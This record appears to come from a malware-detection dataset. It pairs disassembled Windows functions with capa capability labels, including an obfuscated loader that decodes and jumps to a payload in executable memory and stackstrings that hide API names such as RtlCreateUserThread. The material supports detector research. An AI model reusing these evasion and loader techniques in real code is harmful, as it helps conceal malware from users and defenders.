joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x402ee4
pop dword [ebp - 0x38]
mov eax, 0x402ee4
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x6919f7e5
sub dword [ebp - 0x48], 0x1ac7b29a
mov dword [ebp - 0x44], 0x7142f793
add dword [ebp - 0x44], 0xc0f054b2
mov dword [ebp - 0x40], 0xce51aa0a
add dword [ebp - 0x40], 0x7dfa9a24
mov dword [ebp - 0x3c], 0x47f687f6
add dword [ebp - 0x3c], 0xb809780a
lea eax, [ebp - 0x48]
push eax
mov eax, 0x449667fa
sub eax, 0x4455e6f6
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x155a1e06
sub dword [ebp - 0x48], 0xa0e7b4b0
mov dword [ebp - 0x44], 0xe36781e8
add dword [ebp - 0x44], 0x5e04df8d
mov dword [ebp - 0x40], 0x7c83fb01
add dword [ebp - 0x40], 0xe6eb716b
mov dword [ebp - 0x3c], 0xf5ef2d34
sub dword [ebp - 0x3c], 0xf5ef2d34
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x34e4f
push 0
call eax
mov ecx, 0xe6b02721
add ecx, 0x1950184e
xor esi, esi
add esi, eax
mov edi, 0x438bbdd8
add edi, 0xbcbb2628
add edi, dword [ebp - 0x38]
mov edx, 0x7ed4769c
add edx, 0x6b6c7210
xor dword [ebp - 0x1c], 0xab0ef7ed
mov ebx, dword [edi]
add ebx, edx
sub dword [ebp - 0x20], eax
mov dword [esi], ebx
add dword [ebp - 0x2c], 0xc0de32fc
add esi, 0xc9838eff
add esi, 0x367c7105
add edi, 0xbd1b65ad
sub edi, 0xbd1b65a9
loop 0x402ffe
add eax, 0xf08f
xor ebx, ebx
add ebx, eax
add eax, 0xbf9e268
sub eax, 0xbf9e263
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x10001ca0
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 4]
push 4
lea eax, [esp + 0xc]
push eax
mov eax, dword [ecx]
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x10001cc0
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
push edi
mov edi, ecx
jne 0x10001cd6
push 0x80004005
call fcn.10001140
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, dword [esp + 0xc]
mov edx, dword [edi]
add eax, 1
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
ret 0xc

Function at 0x10001d00
Capabilities:
Set registry value

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
mov dword [esp + 4], ecx
jne 0x10001d18
push 0x80004005
call fcn.10001140
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push esi
push edi
xor edi, edi
mov esi, ebp
push esi
call ebx
add eax, 1
add esi, eax
add edi, eax
cmp eax, 1
jne 0x10001d25
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx]
push edi
push ebp
push 7
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
pop ebp
pop ecx
ret 8
Function at 0x10003180
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push 0xffffffffffffffff
push 0x1014febb
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x101a42b4]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x101a42b4]
xor eax, esp
push eax
lea eax, [esp + 0x130]
mov dword fs:[0], eax
mov ebx, dword [esp + 0x140]
xor esi, esi
mov ebp, ecx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], esi
mov dword [esp + 0x138], esi
mov eax, dword [ebp]
lea ecx, [esp + 0x1c]
push ecx
push 0x2001f
push esi
push ebx
push eax
mov dword [esp + 0x30], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
cmp edi, esi
jne 0x100032b2
mov ecx, dword [esp + 0x14]
xor eax, eax
cmp ecx, esi
je 0x1000320e
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], esi
cmp eax, esi
mov ecx, dword [esp + 0x1c]
mov edi, eax
mov dword [esp + 0x14], ecx
jne 0x100032b2
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea edx, [esp + 0x24]
push edx
push esi
push esi
push esi
lea eax, [esp + 0x28]
push eax
lea edx, [esp + 0x40]
push edx
push esi
push ecx
mov dword [esp + 0x38], 0x100
call edi
test eax, eax
jne 0x10003292
jmp 0x10003250
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x18]
call fcn.10003180
mov ebx, eax
cmp ebx, esi
jne 0x100032fc
lea ecx, [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x18]
push esi
push esi
push esi
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x40]
push eax
push esi
push ecx
mov dword [esp + 0x38], 0x100
call edi
test eax, eax
je 0x10003250
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x14]
cmp eax, esi
je 0x100032a5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], esi
mov edx, dword [ebp]
push ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edi, eax
mov dword [esp + 0x138], 0xffffffff
mov eax, dword [esp + 0x14]
cmp eax, esi
je 0x100032d0
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], esi
mov eax, edi
mov ecx, dword [esp + 0x130]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.100f43d6
add esp, 0x128
ret 4
mov dword [esp + 0x138], 0xffffffff
mov eax, dword [esp + 0x14]
cmp eax, esi
je 0x1000331a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], esi
mov eax, ebx
jmp 0x100032d2
Function at 0x10008e40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x20
push 0x101592f8
mov eax, dword [ebp + 8]
push eax
call fcn.100f5bd9
add esp, 0xc
mov dword [ebp - 8], eax
test esi, esi
cmp dword [ebp - 8], 0
jne 0x10008e6b
xor al, al
jmp 0x10008f0d
push 2
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.100f5b54
add esp, 0xc
test esi, esi
mov edx, dword [ebp - 8]
push edx
call fcn.100f5a5f
add esp, 4
mov dword [ebp - 4], eax
test eax, 0x2bef
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.100f5b54
add esp, 0xc
test ch, ch
mov ecx, dword [ebp - 4]
push ecx
call fcn.100f3e38
add esp, 4
mov dword [ebp - 0xc], eax
test ebx, ebx
cmp dword [ebp - 0xc], 0
jne 0x10008ecf
mov edx, dword [ebp - 8]
push edx
call fcn.100f5594
add esp, 4
test eax, 0x7425
xor al, al
jmp 0x10008f0d
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp - 0xc]
push edx
call fcn.100f58ac
add esp, 0x10
mov ebx, ebx
mov eax, dword [ebp - 8]
push eax
call fcn.100f5594
add esp, 4
nop
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov dword [ecx], edx
mov ebp, ebp
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
test eax, 0x1f47
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x1000b7c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x50
mov eax, dword [0x101a42b4]
xor eax, esp
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x54]
mov edx, dword [esp + 0x5c]
mov ecx, dword [esp + 0x58]
push ebp
mov dword [esp + 0x24], eax
mov eax, 0x6c
mov dword [esp + 0x20], edx
mov edx, 0x64
push esi
push edi
mov dword [esp + 0x24], ecx
mov word [esp + 0x44], 0x6e
mov word [esp + 0x46], 0x74
mov word [esp + 0x48], dx
mov word [esp + 0x4a], ax
mov word [esp + 0x4c], ax
mov word [esp + 0x4e], 0x2e
mov word [esp + 0x50], dx
mov word [esp + 0x52], ax
mov word [esp + 0x54], ax
mov word [esp + 0x56], 0
test edx, edx
mov cl, 0x72
mov byte [esp + 0x32], al
mov al, 0x65
mov byte [esp + 0x30], 0x52
mov byte [esp + 0x31], 0x74
mov byte [esp + 0x33], 0x43
mov byte [esp + 0x34], cl
mov byte [esp + 0x35], al
mov byte [esp + 0x36], 0x61
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], al
mov byte [esp + 0x39], 0x55
mov byte [esp + 0x3a], 0x73
mov byte [esp + 0x3b], al
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3d], 0x54
mov byte [esp + 0x3e], 0x68
mov byte [esp + 0x3f], cl
mov byte [esp + 0x40], al
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], dl
mov byte [esp + 0x43], 0
xchg ebx, eax
xchg ebx, eax
lea eax, [esp + 0x44]
push eax
call fcn.100d2780
add esp, 4
mov esi, eax
mov edi, edx
test esi, esi
lea ecx, [esp + 0x30]
push ecx
push edi
push esi
call fcn.100d2fe0
add esp, 0xc
mov ecx, eax
mov ebp, edx
push ecx
pop ecx
or esi, edi
je 0x1000b91e
mov edx, ecx
or edx, ebp
je 0x1000b91e
xor esi, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], esi
test eax, 0x5aba
push eax
pop eax
lea eax, [esp + 0x14]
cdq
push edx
push eax
lea eax, [esp + 0x14]
cdq
push edx
mov edx, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x38]
push esi
push esi
push eax
push edx
mov eax, dword [esp + 0x4c]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
cdq
push edx
push eax
push 0xa
push ebp
push ecx
call fcn.100d2510
add esp, 0x5c
cmp eax, esi
jne 0x1000b912
cmp edx, esi
je 0x1000b932
push edx
push eax
call fcn.100d2f10
add esp, 8
test esi, esi
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.100f43d6
add esp, 0x50
ret
mov ecx, dword [esp + 0xc]
mov eax, ecx
sub eax, 0xffffffff
neg eax
sbb eax, eax
pop edi
and eax, ecx
mov ecx, dword [esp + 0x54]
pop esi
pop ebp
xor ecx, esp
call fcn.100f43d6
add esp, 0x50
ret

Function at 0x1000c96c
Capabilities:
Create thread

Disassembly:
push dword [ebp + 0x10]
push dword [ebp - 0x148]
push dword [0x102b9a14]
jmp fcn.1000b6f0
Function at 0x1001cdd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
mov eax, dword [0x101a42b4]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x3c]
push ebx
mov ebx, dword [esp + 0x34]
mov dword [esp + 4], eax
mov al, 0x64
push ebp
mov ebp, dword [esp + 0x34]
mov cl, 0x61
mov byte [esp + 0xd], al
mov byte [esp + 0x15], al
mov al, 0x6c
push esi
push edi
mov byte [esp + 0x14], cl
mov byte [esp + 0x16], 0x76
mov byte [esp + 0x17], cl
mov byte [esp + 0x18], 0x70
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], 0
mov ebp, ebp
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test ah, ah
mov dl, dl
test esi, esi
je 0x1001ceda
mov al, 0x65
mov byte [esp + 0x24], 0x52
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x67
mov byte [esp + 0x27], 0x4f
mov byte [esp + 0x28], 0x70
mov byte [esp + 0x29], al
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x2b], 0x4b
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x79
mov byte [esp + 0x2e], 0x45
mov byte [esp + 0x2f], 0x78
mov byte [esp + 0x30], 0x41
mov byte [esp + 0x31], 0
test ebx, ebx
lea edx, [esp + 0x24]
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, eax
test ebx, ebx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push edx
pop edx
test edi, edi
je 0x1001ceda
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
push eax
push ecx
push edx
push ebx
push ebp
call edi
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.100f43d6
add esp, 0x28
ret 0x14
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.100f43d6
add esp, 0x28
ret 0x14

Function at 0x1001eb70
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
push esi
push edi
mov ebx, ebx
mov eax, dword [esp + 0x18]
mov dword [esp + 8], eax
test edx, edx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0xc], ecx
mov bl, bl
mov dword [esp + 0x10], 0
test dl, dl
call fcn.1002d010
mov edi, eax
test esi, esi
push 0
push 0
lea edx, [esp + 0x10]
push edx
push 0x1001eae0
push 0
push 0
call fcn.100f664f
add esp, 0x18
mov esi, eax
test ah, ah
push edi
call fcn.1002d0e0
add esp, 4
test ch, ch
test esi, esi
jne 0x1001ebd3
pop edi
xor eax, eax
pop esi
add esp, 0xc
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
xchg ebx, eax
xchg ebx, eax
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test ah, ah
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0xc
ret
Function at 0x1001ec00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov eax, dword [0x101a42b4]
xor eax, esp
mov dword [esp + 0x28], eax
mov al, 0x6c
mov dl, 0x77
mov cl, 0x69
push esi
mov byte [esp + 8], 0x44
mov byte [esp + 9], dl
mov byte [esp + 0xa], 0x6d
mov byte [esp + 0xb], 0x61
mov byte [esp + 0xc], 0x70
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x2e
mov byte [esp + 0xf], 0x64
mov byte [esp + 0x10], al
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0
mov edx, edx
mov al, 0x74
mov byte [esp + 0x14], 0x44
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0x6d
mov byte [esp + 0x17], 0x53
mov byte [esp + 0x18], 0x65
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], 0x57
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], dl
mov byte [esp + 0x20], 0x41
mov byte [esp + 0x21], al
mov byte [esp + 0x22], al
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], 0x62
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x29], 0
test eax, 0x6e0d
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
mov ebx, ebx
test esi, esi
je 0x1001ecfd
lea ecx, [esp + 0x14]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test ebx, ebx
test eax, eax
je 0x1001ecf4
mov dword [esp + 4], 1
test cl, cl
push 4
lea edx, [esp + 8]
push edx
push 2
push edi
call eax
mov dh, dh
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, eax
mov ecx, dword [esp + 0x2c]
pop esi
xor ecx, esp
call fcn.100f43d6
add esp, 0x2c
ret
Function at 0x1001faa0
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10153069
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x101a42b4]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
push edi
mov eax, dword [0x101a42b4]
xor eax, esp
push eax
lea eax, [esp + 0x3c]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x10], ebx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov dword [esp + 0x14], esi
mov byte [esi + 4], bl
mov dword [esp + 0x44], ebx
mov dword [esp + 0x10], 1
test bh, bh
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.100f6cbf
add esp, 4
push eax
pop eax
mov byte [esp + 0x18], 0x61
mov byte [esp + 0x19], 0x62
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0x65
mov byte [esp + 0x1d], 0x66
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x68
mov byte [esp + 0x20], 0x69
mov byte [esp + 0x21], 0x6a
mov byte [esp + 0x22], 0x6b
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], 0x6d
mov byte [esp + 0x25], 0x6e
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x70
mov byte [esp + 0x28], 0x71
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], 0x73
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], 0x76
mov byte [esp + 0x2d], 0x77
mov byte [esp + 0x2e], 0x78
mov byte [esp + 0x2f], 0x79
mov byte [esp + 0x30], 0x75
mov byte [esp + 0x31], 0x41
mov byte [esp + 0x32], 0x42
mov byte [esp + 0x33], 0x43
mov byte [esp + 0x34], 0x44
mov byte [esp + 0x35], 0x45
mov byte [esp + 0x36], 0x46
mov byte [esp + 0x37], 0x47
mov ch, ch
call fcn.100f6ccc
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x1001fbbd
dec eax
or eax, 0xfffffff8
inc eax
add eax, 8
test al, al
mov ch, ch
cmp eax, ebx
jle 0x1001fc02
mov edi, eax
lea ebx, [ebx]
call fcn.100f6ccc
and eax, 0x8000001f
jns 0x1001fbe1
dec eax
or eax, 0xffffffe0
inc eax
mov dl, dl
mov al, byte [esp + eax + 0x18]
add al, 1
mov byte [esp + 0xc], al
mov ecx, dword [esp + 0xc]
push ecx
push 1
mov ecx, esi
call fcn.1001f9d0
test dl, dl
sub edi, 1
jne 0x1001fbd0
mov eax, esi
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.100f43d6
add esp, 0x3c
ret
Function at 0x100207b0
Capabilities:
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x10150fb2
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x101a42b4]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
push esi
push edi
mov eax, dword [0x101a42b4]
xor eax, esp
push eax
lea eax, [esp + 0x12c]
mov dword fs:[0], eax
mov esi, dword [esp + 0x13c]
mov edi, dword [esp + 0x140]
xor ebx, ebx
push 0xff
lea eax, [esp + 0x2d]
push ebx
mov dword [esp + 0x18], ebx
push eax
mov dword [esp + 0x24], esi
mov byte [esp + 0x34], bl
call fcn.100f4ed0
add esp, 0xc
mov ch, ch
mov eax, eax
mov esi, esi
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
test al, al
cmp eax, 0xffffffff
je 0x10020859
mov eax, edi
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x10020840
sub eax, edx
push eax
push edi
mov ecx, esi
call fcn.1000a1e0
jmp 0x10020925
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, 0x781b
cmp eax, ebx
jne 0x10020888
push ebx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
push 0x101597f0
mov ecx, esi
mov byte [esi + 4], bl
call fcn.1000a1e0
jmp 0x10020925
cmp word [eax + 0xa], 4
je 0x10020899
push 0x101597f0
jmp 0x1002091e
test eax, eax
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
push ecx
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.100f61f0
add esp, 0xc
test dh, dh
mov cl, 0x25
mov al, 0x64
mov dl, 0x2e
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], dl
mov byte [esp + 0x1f], cl
mov byte [esp + 0x20], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], al
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], al
mov byte [esp + 0x27], bl
test ch, ch
movzx edx, byte [esp + 0x17]
movzx eax, byte [esp + 0x16]
push edx
push eax
mov eax, dword [esp + 0x1c]
movzx ecx, ah
push ecx
movzx edx, al
push edx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x3c]
push ecx
call fcn.100f5cb0
add esp, 0x18
test dl, dl
lea edx, [esp + 0x28]
push edx
mov ecx, esi
call fcn.1000a4a0
mov dword [esp + 0x134], ebx
mov dword [esp + 0x10], 1
mov eax, esi
mov ecx, dword [esp + 0x12c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.100f43d6
add esp, 0x128
ret
Function at 0x10020cb0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x101a42b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x218], 0
push 0x1ff
push 0
lea eax, [ebp - 0x217]
push eax
call fcn.100f4ed0
add esp, 0xc
test eax, 0x2a6f
push 0x200
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov al, al
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x5c
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x76
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x5c
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0
mov ah, ah
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100f5cb0
add esp, 0x10
mov ebx, ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100f43d6
mov esp, ebp
pop ebp
ret

Function at 0x10021260
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x101a42b4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x102a8eb8], 0
jne 0x10021324
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x33
mov byte [ebp - 0x24], 0x32
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0
test esi, esi
mov byte [ebp - 0x1c], 0x4e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x55
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x4f
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x44
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x6b
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0
test al, al
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x102a8eb8], eax
nop
cmp dword [0x102a8eb8], 0
jne 0x10021331
xor eax, eax
jmp 0x10021336
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100f43d6
mov esp, ebp
pop ebp
ret
Function at 0x10025870
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x101a42b4]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov cl, cl
mov dword [ebp - 0x138], 0x128
mov bl, bl
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
test edx, edx
cmp dword [ebp - 4], 0xffffffff
jne 0x100258a7
jmp 0x1002590e
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 8], eax
mov edx, edx
cmp dword [ebp - 8], 0
je 0x100258f5
mov edx, dword [ebp + 8]
cmp edx, dword [ebp - 0x120]
jne 0x100258de
mov eax, dword [ebp - 0x130]
push eax
call fcn.10025870
add esp, 4
test bl, bl
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 8], eax
push ebx
pop ebx
jmp 0x100258bc
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test dl, dl
mov ecx, dword [ebp + 8]
push ecx
call fcn.10032020
add esp, 4
nop
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.100f43d6
mov esp, ebp
pop ebp
ret